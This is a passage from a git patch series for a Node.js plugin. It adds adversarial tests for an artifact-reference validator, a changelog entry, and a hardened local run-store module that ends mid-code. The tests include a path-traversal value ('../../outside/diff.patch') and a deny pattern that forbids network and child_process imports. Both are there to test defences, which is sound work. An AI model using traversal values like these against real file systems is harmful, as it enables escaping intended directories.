'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validRef(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => parseArtifactRefV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < 64; index += 1) deep = { wrapped: deep }; + const deepRef = validRef(); + deepRef.deep = deep; + assert.equal(errorOf(() => parseArtifactRefV1(deepRef)).code, 'value_depth_exceeded'); + + pathError(`${'a'.repeat(2000)}.patch`, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validRef(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal(errorOf(() => parseArtifactRefV1(unknownButHostile)).code, 'aliased_reference_denied'); +}); + +test('every artifact-specific denial code stays inside the closed vocabulary', () => { + const refCodes = new Set(ARTIFACT_REF_ERROR_CODES); + for (const code of [ + 'duplicate_artifact_ref', + 'refs_exceeded', + 'unknown_artifact_kind', + 'unknown_artifact_class', + 'unknown_media_type', + 'unknown_content_encoding', + 'missing_key', + 'invalid_format', + 'invalid_type', + 'out_of_range', + ]) { + assert.ok(refCodes.has(code), code); + } +}); + +test('orderArtifactRefsV1 rejects every hostile batch shape before sorting', () => { + assert.equal(errorOf(() => orderArtifactRefsV1([validRef(), validRef()])).code, 'duplicate_artifact_ref'); + const sparse = new Array(2); + sparse[0] = validRef(); + assert.equal(errorOf(() => orderArtifactRefsV1(sparse)).code, 'invalid_array'); + const extended = [validRef()]; + extended.extraProperty = true; + assert.equal(errorOf(() => orderArtifactRefsV1(extended)).code, 'invalid_array'); + const accessorElement = validRef(); + Object.defineProperty(accessorElement, 'run_id', { enumerable: true, get() { return 'run-x'; } }); + assert.equal(errorOf(() => orderArtifactRefsV1([accessorElement])).code, 'accessor_property_denied'); + const tooMany = []; + for (let index = 0; index <= MAX_ARTIFACT_REFS; index += 1) { + tooMany.push(secondRef({ + assignment_id: `lane-${String(index).padStart(3, '0')}`, + relative_path: `runs/run-artifact-01/lane-${String(index).padStart(3, '0')}/d.patch`, + sha256: `${index.toString(16).padStart(2, '0')}`.repeat(32), + })); + } + assert.equal(tooMany.length, MAX_ARTIFACT_REFS + 1); + assert.equal(errorOf(() => orderArtifactRefsV1(tooMany)).code, 'refs_exceeded'); +}); + +test('mid-call caller mutation cannot disturb an in-flight ordering or digest', () => { + const refs = [secondRef(), validRef()]; + const orderedOnce = orderArtifactRefsV1(refs); + refs[1].byte_length = 4096; + const orderedTwice = orderArtifactRefsV1([secondRef(), validRef()]); + assert.deepEqual(orderedOnce.map((ref) => ref.assignment_id), orderedTwice.map((ref) => ref.assignment_id)); + + const input = validRef(); + const canonical = canonicalArtifactRefJsonV1(input); + const digest = artifactRefDigestV1(input).digest; + input.media_type = 'application/json'; + assert.equal(canonicalArtifactRefJsonV1(validRef()), canonical); + assert.equal(artifactRefDigestV1(validRef()).digest, digest); + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs new file mode 100644 index 0000000..7b43363 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs @@ -0,0 +1,342 @@ +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_DIGEST_DOMAIN, + ARTIFACT_DIGEST_HEX_LENGTH, + ARTIFACT_DIGEST_VERSION, + ARTIFACT_KINDS, + ARTIFACT_REF_DIGEST_LABEL, + ARTIFACT_REF_SCHEMA_ID, + ARTIFACT_SHA256_PATTERN, + CONTENT_ENCODINGS, + MAX_ARTIFACT_REFS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MEDIA_TYPES, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + canonicalArtifactRefJsonV1, + compareArtifactRefsV1, + orderArtifactRefsV1, + parseArtifactRefV1, + validateArtifactRefV1, + verifyArtifactRefDigestV1, +} from '../mcp/v3/artifact-ref.mjs'; +import { + ARTIFACT_PATH_MAX_BYTES, + isArtifactRelativePathV1, + validateArtifactRelativePathV1, +} from '../mcp/v3/artifact-path.mjs'; +import { + CAPABILITY_ARTIFACT_KINDS, +} from '../mcp/v3/capability-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { secondRef, validRef } from './fixtures/r1-artifact-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('a valid artifact reference parses into a frozen detached snapshot', () => { + const input = validRef(); + const snapshot = parseArtifactRefV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.deepEqual(Object.keys(snapshot), [ + 'schema', 'run_id', 'assignment_id', 'artifact_kind', 'artifact_class', + 'relative_path', 'byte_length', 'sha256', 'media_type', 'content_encoding', + ]); + for (const key of Object.keys(snapshot)) { + assert.equal(snapshot[key], input[key], key); + assert.ok(Object.hasOwn(snapshot, key), key); + } + const reparsed = validateArtifactRefV1(input); + assert.notEqual(reparsed, snapshot); + assert.equal(canonicalArtifactRefJsonV1(reparsed), canonicalArtifactRefJsonV1(snapshot)); +}); + +test('parsed snapshots are detached: later caller mutation cannot drift anything', () => { + const input = validRef(); + const digest = artifactRefDigestV1(input).digest; + const snapshot = parseArtifactRefV1(input); + input.byte_length = 4096; + input.sha256 = 'f'.repeat(64); + input.relative_path = 'runs/run-artifact-01/lane-alpha/other.patch'; + assert.equal(snapshot.byte_length, 2048); + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); + assert.notEqual(artifactRefDigestV1(input).digest, digest); + assert.throws(() => { 'use strict'; snapshot.byte_length = 1; }, TypeError); + assert.throws(() => { 'use strict'; snapshot.new_field = 1; }, TypeError); + assert.equal(Reflect.deleteProperty(snapshot, 'sha256'), false); +}); + +test('canonical JSON and digests are invariant under caller key order', () => { + const straight = validRef(); + const shuffled = validRef(); + const reordered = {}; + for (const key of Object.keys(straight).reverse()) reordered[key] = straight[key]; + Object.assign(shuffled, {}); + assert.equal(canonicalArtifactRefJsonV1(straight), canonicalArtifactRefJsonV1(reordered)); + assert.equal(artifactRefDigestV1(straight).digest, artifactRefDigestV1(reordered).digest); +}); + +test('digest descriptors carry the framed domain, version, label, and byte count', () => { + const descriptor = artifactRefDigestV1(validRef()); + assert.deepEqual(Object.keys(descriptor), [ + 'algorithm', 'domain', 'version', 'label', 'input_bytes', 'digest', + ]); + assert.equal(descriptor.algorithm, 'sha256'); + assert.equal(descriptor.domain, ARTIFACT_DIGEST_DOMAIN); + assert.equal(descriptor.version, ARTIFACT_DIGEST_VERSION); + assert.equal(descriptor.label, ARTIFACT_REF_DIGEST_LABEL); + assert.match(descriptor.digest, /^[0-9a-f]{64}$/u); + assert.equal(descriptor.input_bytes, Buffer.byteLength(canonicalArtifactRefJsonV1(validRef()), 'utf8')); + assert.equal(Object.isFrozen(descriptor), true); +}); + +test('every meaningful value change must change the digest', () => { + const baseline = artifactRefDigestV1(validRef()).digest; + const variations = [ + { run_id: 'run-artifact-02' }, + { assignment_id: 'lane-beta' }, + { artifact_kind: 'provider_report' }, + { artifact_class: 'raw' }, + { relative_path: `runs/run-artifact-01/lane-alpha/other.patch` }, + { byte_length: 2049 }, + { sha256: 'ab'.repeat(32) }, + { media_type: 'application/json' }, + { content_encoding: 'base64' }, + ]; + for (const variation of variations) { + assert.notEqual(artifactRefDigestV1(validRef(variation)).digest, baseline, JSON.stringify(variation)); + } +}); + +test('verification is exact about expected digests and never throws on malformed ones', () => { + const digest = artifactRefDigestV1(validRef()).digest; + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); + for (const bad of [undefined, null, 12345, {}, `SHA${digest.slice(3)}`, `${digest}0`, digest.slice(1)]) { + assert.equal(verifyArtifactRefDigestV1(validRef(), bad), false); + } + assert.equal(verifyArtifactRefDigestV1(validRef({ byte_length: 9999 }), digest), false); +}); + +test('byte length bounds are class-dependent and bounded evidence stays finite', () => { + assert.equal(MIN_ARTIFACT_BYTE_LENGTH, 1); + parseArtifactRefV1(validRef({ artifact_class: 'sanitized', byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH })); + errorOf( + () => parseArtifactRefV1(validRef({ + artifact_class: 'sanitized', byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, + })), + 'artifact_ref.byte_length', + ).code; + parseArtifactRefV1(validRef({ artifact_class: 'raw', byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH })); + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ + artifact_class: 'raw', byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH + 1, + })), 'artifact_ref.byte_length').code, + 'out_of_range', + ); + for (const bad of [0, -1, 1.5, Number.MAX_SAFE_INTEGER + 1, '2048', null]) { + const code = errorOf(() => parseArtifactRefV1(validRef({ byte_length: bad })), 'artifact_ref.byte_length').code; + assert.ok(['invalid_type', 'out_of_range'].includes(code), `unexpected code ${code}`); + } +}); + +test('closed vocabularies are enforced exactly and stay detached', () => { + assert.deepEqual([...ARTIFACT_KINDS], [...CAPABILITY_ARTIFACT_KINDS]); + const exportsToProbe = [ + ['ARTIFACT_KINDS', ARTIFACT_KINDS], + ['ARTIFACT_CLASSES', ARTIFACT_CLASSES], + ['MEDIA_TYPES', MEDIA_TYPES], + ['CONTENT_ENCODINGS', CONTENT_ENCODINGS], + ]; + for (const [name, vocabulary] of exportsToProbe) { + assert.equal(Object.isFrozen(vocabulary), true, name); + const mutated = [...vocabulary]; + try { + vocabulary.push('bogus'); + } catch { + // Frozen arrays throw in strict mode; acceptance must not change either way. + } + assert.deepEqual([...vocabulary], mutated, name); + } + parseArtifactRefV1(validRef()); + for (const [key, values, code] of [ + ['artifact_kind', ARTIFACT_KINDS, 'unknown_artifact_kind'], + ['artifact_class', ARTIFACT_CLASSES, 'unknown_artifact_class'], + ['media_type', MEDIA_TYPES, 'unknown_media_type'], + ['content_encoding', CONTENT_ENCODINGS, 'unknown_content_encoding'], + ]) { + for (const value of values) { + assert.doesNotThrow(() => parseArtifactRefV1(validRef({ [key]: value }))); + } + for (const hostile of ['Git_Diff', 'RAW', 'text/plain ', '', 'bogus']) { + if (values.includes(hostile)) continue; + const error = errorOf( + () => parseArtifactRefV1(validRef({ [key]: hostile })), + `artifact_ref.${key}`, + ); + assert.equal(error.code, code, `${key}: ${hostile}`); + } + } +}); + +test('each of the ten keys is required with a precise missing_key denial', () => { + for (const key of [ + 'schema', 'run_id', 'assignment_id', 'artifact_kind', 'artifact_class', + 'relative_path', 'byte_length', 'sha256', 'media_type', 'content_encoding', + ]) { + const partial = validRef(); + delete partial[key]; + const error = errorOf(() => parseArtifactRefV1(partial), `artifact_ref.${key}`); + assert.equal(error.code, 'missing_key'); + } +}); + +test('unknown keys are rejected and forbidden classes keep their precise denials', () => { + assert.equal(errorOf(() => parseArtifactRefV1(validRef({ extra: 1 })), 'artifact_ref.extra').code, 'unknown_key'); + const forbidden = [ + ['command', 'executable_content_denied'], + ['env', 'executable_content_denied'], + ['secret', 'credential_content_denied'], + ['token', 'credential_content_denied'], + ['fallback', 'replay_or_fallback_denied'], + ['allow_merge', 'merge_authority_denied'], + ['depends_on', 'dependency_not_allowed'], + ]; + for (const [key, code] of forbidden) { + assert.equal(errorOf(() => parseArtifactRefV1(validRef({ [key]: 1 }))).code, code, key); + } +}); + +test('identity fields reuse the accepted manifest grammars exactly', () => { + for (const bad of ['', 'Run-Artifact', 'run_artifact', 'aa', `-run`, `${'a'.repeat(65)}`]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ run_id: bad })), 'artifact_ref.run_id').code, + 'invalid_format', + bad, + ); + } + for (const bad of ['', 'Lane-Alpha', 'lane_alpha', `${'a'.repeat(65)}`]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ assignment_id: bad })), 'artifact_ref.assignment_id').code, + 'invalid_format', + bad, + ); + } + for (const bad of ['A'.repeat(64), 'zz', `${'a'.repeat(63)}g`, null]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ sha256: bad })), 'artifact_ref.sha256').code, + 'invalid_format', + ); + } + assert.equal(ARTIFACT_SHA256_PATTERN.test('a'.repeat(64)), true); + assert.equal(ARTIFACT_SHA256_PATTERN.test('A'.repeat(64)), false); +}); + +test('relative paths inside references flow through the strict path policy', () => { + const nested = validRef({ + relative_path: `runs/run-artifact-01/lane-alpha/evidence/provider-report.json`, + }); + parseArtifactRefV1(nested); + const descriptor = validateArtifactRelativePathV1(nested.relative_path, 'artifact_ref.relative_path'); + assert.equal(descriptor.segment_count, 5); + assert.equal(descriptor.byte_length, Buffer.byteLength(nested.relative_path, 'utf8')); + const escape = validRef({ relative_path: '../../outside/diff.patch' }); + const error = errorOf(() => parseArtifactRefV1(escape), 'artifact_ref.relative_path'); + assert.equal(error.code, 'alias_segment_denied'); + assert.equal(isArtifactRelativePathV1('../../outside/diff.patch'), false); + assert.equal(isArtifactRelativePathV1(nested.relative_path), true); + assert.equal(ARTIFACT_PATH_MAX_BYTES > 0, true); +}); + +test('compareArtifactRefsV1 fixes one deterministic total tuple order', () => { + const base = validRef(); + const other = secondRef(); + const forward = compareArtifactRefsV1(base, other); + assert.equal(forward, -compareArtifactRefsV1(other, base)); + assert.equal(compareArtifactRefsV1(base, validRef()), 0); + // assignment_id dominates everything below it; at equal identity fields + // the code-unit order of media_type decides ('application/json' sorts first). + assert.equal(compareArtifactRefsV1(base, validRef({ media_type: 'application/json' })), 1); + // artifact_class outranks artifact_kind at equal run/child. + const classOrder = compareArtifactRefsV1( + validRef({ artifact_class: 'raw' }), + validRef({ artifact_kind: 'provider_report' }), + ); + assert.equal(classOrder, -1); +}); + +test('orderArtifactRefsV1 is deterministic, duplicate-free, and bounded', () => { + const refs = []; + for (let index = 0; index < MAX_ARTIFACT_REFS; index += 1) { + refs.push(secondRef({ + assignment_id: `lane-${String(index).padStart(2, '0')}`, + relative_path: `runs/run-artifact-01/lane-${String(index).padStart(2, '0')}/diff.patch`, + })); + } + const ordered = orderArtifactRefsV1(refs); + const reshuffled = orderArtifactRefsV1([...refs].reverse()); + assert.deepEqual(JSON.parse(canonicalArtifactRefJsonV1(ordered[0])), JSON.parse(canonicalArtifactRefJsonV1(reshuffled[0]))); + assert.deepEqual(ordered.map((ref) => ref.assignment_id), reshuffled.map((ref) => ref.assignment_id)); + assert.equal(Object.isFrozen(ordered), true); + assert.ok(ordered.every((ref) => Object.isFrozen(ref))); + for (let index = 1; index < ordered.length; index += 1) { + assert.equal(compareArtifactRefsV1(ordered[index - 1], ordered[index]), -1); + } + + assert.deepEqual(orderArtifactRefsV1([]), []); + const single = orderArtifactRefsV1([secondRef()]); + assert.equal(single.length, 1); + + assert.equal( + errorOf(() => orderArtifactRefsV1([validRef(), validRef()])).code, + 'duplicate_artifact_ref', + ); + const aliasSource = validRef(); + assert.equal( + errorOf(() => orderArtifactRefsV1([aliasSource, aliasSource])).code, + 'duplicate_artifact_ref', + ); + assert.equal( + errorOf(() => orderArtifactRefsV1([...refs, validRef()])).code, + 'refs_exceeded', + ); +}); + +test('the modules are pure schema/path policy: no I/O surface and no process access', async () => { + const allowedSpecifiers = new Set([ + 'node:buffer', 'node:crypto', 'node:util', + './grammar.mjs', './run-manifest.mjs', './identity.mjs', + './artifact-path.mjs', './capability-bridge.mjs', './selection-json.mjs', + './contract.mjs', './assignment-manifest.mjs', './repo-path-matcher.mjs', + ]); + for (const relative of ['artifact-ref.mjs', 'artifact-path.mjs']) { + const source = await readFile(path.join(HERE, '..', 'mcp', 'v3', relative), 'utf8'); + const specifiers = [...source.matchAll(/from '([^']+)'/gu)].map((match) => match[1]); + assert.ok(specifiers.length >= 3, `${relative} should import its dependencies`); + for (const specifier of specifiers) { + assert.ok(allowedSpecifiers.has(specifier), `${relative} imports ${specifier}`); + } + assert.doesNotMatch(source, /node:(fs|fs\/promises|net|http|https|child_process|os|dns|tls|stream|worker_threads|process)/u); + assert.doesNotMatch(source, /\bprocess\./u); + assert.doesNotMatch(source, /\brequire\(/u); + assert.doesNotMatch(source, /\beval\(/u); + // The modules address artifacts; they must not claim that P08 storage exists. + assert.match(source, /P08/u); + } +}); From bb452c6f349aa43542495d2d89872bbaee8197b2 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 19:45:32 +0000 Subject: [PATCH 06/81] docs(changelog): record the P07 artifact reference and path policy Document the closed ten-key ArtifactRefV1 schema, the strict portable relative artifact path policy with its fixed denial pipeline, the domain-framed canonical digest authority, deterministic ordering, and the pure schema/path-policy boundary that claims no P08 storage. --- CHANGELOG.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 24f2801..ef2e910 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,36 @@ ### Added +- **ArtifactRefV1 and the strict relative artifact path policy.** Adds two + additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one + deterministic fail-closed question - is this string a strict portable + run-relative artifact path? - accepting only NFC, well-formed, + forward-slash, relative paths of 1..16 segments (128 UTF-8 bytes each, + 1024 total) with no backslashes, leading/trailing/doubled slashes, empty + or dot-only segments, colons (foreclosing drive, UNC, alternate-data- + stream, and scheme spellings in one rule), Windows reserved device stems + (`con`, `CON.txt`, `com1`, `lpt0`, `clock$`), edge dots/spaces Windows + strips, C0/C1 controls, invisible/format/bidi/tag code points, or solidus + look-alikes; the fixed validation pipeline raises identical first typed + errors from a closed 17-code vocabulary and never echoes hostile bytes. + `artifact-ref.mjs` binds the closed ten-key ArtifactRefV1 schema - exact + run/child identifiers reusing the accepted manifest grammars, artifact + kind bound to the P17 capability vocabulary, raw-vs-sanitized class with + class-dependent bounded-evidence caps (sanitized 256 KiB, raw 32 MiB), + declared byte length, lowercase-hex SHA-256, and closed media-type and + content-encoding enums - behind hostile-container hardening that rejects + live/revoked Proxies with zero traps, accessors without invoking them, + symbol keys, exotic prototypes, own undefined, sparse/extended arrays, + aliases/cycles, depth, and size before any effect, returns deep-frozen + detached snapshots, and frames SHA-256 digests over validator-owned + canonical JSON with explicit domain/version/label separation so key order + cannot change a digest while any value change must; ordering is a fixed + tuple comparator plus a bounded (64), duplicate-free batch orderer. Both + modules are pure schema/path policy only - no filesystem, network, or + process I/O - and neither claims that P08 artifact storage exists: + producers declare references, and only a later storage authority may bind + them to bytes. Coverage lives in `test/r1-artifact-ref.test.mjs` and + `test/r1-artifact-ref-adversarial.test.mjs`. - **Deterministic P05 resolver and P17 capability bridge.** Additive `resolveRunSelectionV1` / `resolveSelectionAnswersV1` bind every assignment's provider/model from authored explicit execution, the From de743a17f0f15cac2d77c979f028edb7c1e8661f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:11:45 +0000 Subject: [PATCH 07/81] feat(run): add durable local run store with exclusive idempotent submission Persist P06-bound canonical run records in a caller-supplied existing private directory. Fail closed on symlink, non-directory, and unsafe ownership or mode surfaces, use no-follow opens, and publish through same-directory temps, fsync, and exclusive link without overwriting an authoritative record. Exact same key plus canonical body returns the existing record; conflicting keys or bodies and mismatched protected identity fail closed. --- .../codex-co-engineer/mcp/v3/run-store.mjs | 891 ++++++++++++++++++ 1 file changed, 891 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-store.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-store.mjs b/plugins/codex-co-engineer/mcp/v3/run-store.mjs new file mode 100644 index 0000000..284fe44 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-store.mjs @@ -0,0 +1,891 @@ +// Durable local run store — exclusive ownership and idempotent submission +// (ADR 0001 identifiers `exact_identities`, `immutable_repo_base_identity`, +// `bounded_evidence`, `no_post_dispatch_fallback_or_replay`; Gate A +// `gate_a_idempotent_submission`). +// +// Additive v3 module. It persists one bounded canonical record per run in a +// caller-supplied existing private directory. Records bind the accepted P06 +// RunIdentityV1, GitIdentityV1, initial DispatchProvenanceV1 / +// DispatchTelemetryV1 facts, and request idempotency key. Exact same key plus +// canonical body returns the existing record without mutation; conflicts and +// mismatched protected identity fail closed. +// +// The store never derives filesystem paths from untrusted strings, never +// follows symlinks, never overwrites an authoritative record, and never +// echoes record contents or credentials. Restore reopens by auditing +// canonical bytes and recomputing every accepted P06 digest. There is no +// journal/reducer, scheduler, provider driver, artifact store, workspace +// provisioning, cleanup, MCP wiring, or protected-ref implementation. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, open, opendir, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + projectDispatchTelemetryV1, + validateDispatchProvenanceV1, + validateDispatchTelemetryV1, +} from './protected-telemetry.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, +} from './selection-json.mjs'; + +export const RUN_STORE_RECORD_SCHEMA_ID = 'codex-co-engineer.run-store-record.v1'; +export const MAX_RUN_STORE_ENTRIES = 64; +export const MAX_RUN_STORE_DIRECTORY_ENTRIES = 160; +export const MAX_RUN_STORE_RECORD_BYTES = 64 * 1024; +export const MAX_RUN_STORE_FILENAME_BYTES = 80; +export const MAX_RUN_STORE_KEY_FILE_BYTES = 80; +export const MAX_RUN_STORE_DIAGNOSTIC_BYTES = 160; + +export const RUN_STORE_RECORD_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_idempotency_key', 'identity', 'git', + 'provenance', 'telemetry', 'canonical_digest', +]); +export const RUN_STORE_INPUT_KEYS = capturedFreeze([ + 'run_id', 'request_idempotency_key', 'identity', 'git', 'provenance', 'telemetry', +]); + +const RECORD_NAME_PATTERN = /^[a-z][a-z0-9-]{2,63}\.json$/u; +const KEY_NAME_PATTERN = /^k-[0-9a-f]{64}$/u; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const IDEMPOTENCY_HEX_PATTERN = /^sha256:([0-9a-f]{64})$/u; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const RANDOM_BYTES = randomBytes; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const STORE_CHAINS = new Map(); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUN_STORE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUN_STORE_DIAGNOSTIC_BYTES); +} + +function failStore(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, fallback, fallbackMessage) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') failStore('run_store_root_missing', field, 'The run store path does not exist.'); + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failStore('run_store_root_unsafe', field, 'The run store path is not a real directory.'); + } + if (errno === 'EEXIST') failStore('run_identity_conflict', field, fallbackMessage); + failStore(fallback, field, fallbackMessage); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failStore('run_store_root_unsafe', 'root', 'Run store root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failStore('run_store_path_unsafe', 'root', 'Run store root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failStore('run_store_path_unsafe', 'root', 'Run store root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failStore('run_store_path_unsafe', 'root', 'Run store root must be a normalized absolute path.'); + } + const parts = value.split('/'); + for (const part of parts) { + if (part === '.' || part === '..') { + failStore('run_store_path_unsafe', 'root', 'Run store root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failStore('run_store_foreign_entry', field, 'Run store directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failStore('run_store_path_unsafe', field, 'Run store filenames must be single path components.'); + } + if (utf8ByteLength(name) > MAX_RUN_STORE_FILENAME_BYTES) { + failStore('run_store_foreign_entry', field, 'Run store filename exceeds the bounded length.'); + } + return name; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function assertPrivateEntry(stat, field, kind) { + if (stat.isSymbolicLink()) { + failStore('run_store_root_unsafe', field, `The run store ${kind} must not be a symbolic link.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('run_store_root_unsafe', field, + `The run store ${kind} must be owned by the current user.`); + } + if ((stat.mode & 0o022) !== 0) { + failStore('run_store_root_unsafe', field, + `The run store ${kind} must not be writable by group or other users.`); + } + if (kind === 'directory' && (stat.mode & 0o077) !== 0) { + failStore('run_store_root_unsafe', field, + 'The run store directory must be private (no group or other access).'); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failStore('run_store_not_regular', field, 'Run store files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('run_store_root_unsafe', field, 'Run store files must be owned by the current user.'); + } + if ((stat.mode & 0o077) !== 0) { + failStore('run_store_root_unsafe', field, 'Run store files must be owner-only.'); + } +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +async function openRootHandle(rootPath) { + const resolved = assertSafeRootPath(rootPath); + let handle; + try { + handle = await open(resolved, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, 'root', 'run_store_root_unsafe', + 'The run store root could not be opened without following links.'); + } + try { + const stat = await handle.stat(); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + failStore('run_store_root_unsafe', 'root', 'The run store root must be a real directory.'); + } + assertPrivateEntry(stat, 'root', 'directory'); + return { handle, path: resolved, dev: stat.dev, ino: stat.ino, mode: stat.mode, uid: stat.uid }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function assertRootUnchanged(token) { + const opened = await openRootHandle(token.path); + try { + if (!sameIdentity(opened, token)) { + failStore('run_store_root_unsafe', 'root', + 'The run store root was replaced during use.'); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failStore('run_store_path_unsafe', 'name', 'Run store child path escaped the private root.'); + } + return joined; +} + +function recordNameFor(runId) { + assertRunId(runId, 'run_id'); + return `${runId}.json`; +} + +function keyNameFor(requestKey, field = 'request_idempotency_key') { + if (typeof requestKey !== 'string') { + failStore('invalid_format', field, 'Request idempotency key must be a sha256 digest.'); + } + const match = IDEMPOTENCY_HEX_PATTERN.exec(requestKey); + if (!match) failStore('invalid_format', field, 'Request idempotency key must be a sha256 digest.'); + return `k-${match[1]}`; +} + +function classifyName(name) { + if (capturedTest(TEMP_NAME_PATTERN, name)) return 'temp'; + if (capturedTest(RECORD_NAME_PATTERN, name)) return 'record'; + if (capturedTest(KEY_NAME_PATTERN, name)) return 'key'; + return 'foreign'; +} + +function equalBytes(left, right) { + if (!NodeBuffer.isBuffer(left) || !NodeBuffer.isBuffer(right) || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(left, right); +} + +function hashCanonical(canonical) { + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(canonical, 'utf8').digest('hex')}`; +} + +function bindRecord(payload) { + const canonical = canonicalJsonStringify(payload); + const record = snapshotRecord({ ...payload, canonical_digest: hashCanonical(canonical) }); + const bytes = BUFFER_FROM(`${canonicalJsonStringify(record)}\n`, 'utf8'); + if (bytes.byteLength > MAX_RUN_STORE_RECORD_BYTES) { + failStore('run_store_record_too_large', 'record', + `Run store records must not exceed 